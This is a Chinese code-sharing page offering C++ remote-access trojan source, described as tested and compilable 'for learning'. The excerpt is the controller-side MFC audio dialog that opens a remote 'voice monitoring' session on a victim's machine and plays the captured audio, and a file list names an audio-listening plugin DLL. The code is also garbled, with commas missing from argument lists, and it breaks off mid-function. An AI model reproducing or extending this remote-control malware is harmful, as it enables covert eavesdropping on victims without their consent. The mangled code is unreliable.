资源简介
c++远控源码,亲测可用可编译,适合学习,切勿违法使用
代码片段和文件信息
// AudioDlg.cpp : implementation file
//
#include “stdafx.h“
#include “Client.h“
#include “AudioDlg.h“
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg dialog
CAudioDlg::CAudioDlg(CWnd* pParent CIOCPServer* pIOCPServer ClientContext *pContext)
: CDialog(CAudioDlg::IDD pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio = FALSE;
//}}AFX_DATA_INIT
m_hIcon = LoadIcon(AfxGetInstanceHandle() MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr 0 sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ““;
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX IDC_SEND_LOCALAUDIO m_send_localaudio);
DDX_Check(pDX IDC_SEND_LOCALAUDIO m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAudioDlg CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg message handlers
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
// Set the icon for this dialog. The framework does this automatically
// when the application‘s main window is not a dialog
SetIcon(m_hIcon TRUE); // Set big icon
SetIcon(m_hIcon FALSE); // Set small icon
CString str;
str.Format(_T(“\\\\%s - 语音监听“) m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext &bToken sizeof(BYTE));
m_hWorkThread = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)WorkThread (LPVOID)this 0 NULL);
m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);
return true;
}
void CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format(_T(“Receive %d KBytes“) m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1) m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void CAudioDlg::OnReceive()
{
}
void CAudioDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
// TODO: Add your message handler code here and/or call defaul
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 65536 2013-07-30 20:52 Plugins\BAudioListen.dll
----------- --------- ---------- ----- ----
65536 1
- 上一篇:数据结构王红梅
- 下一篇:MFC实现rtsp视频流的播放
评论
共有 条评论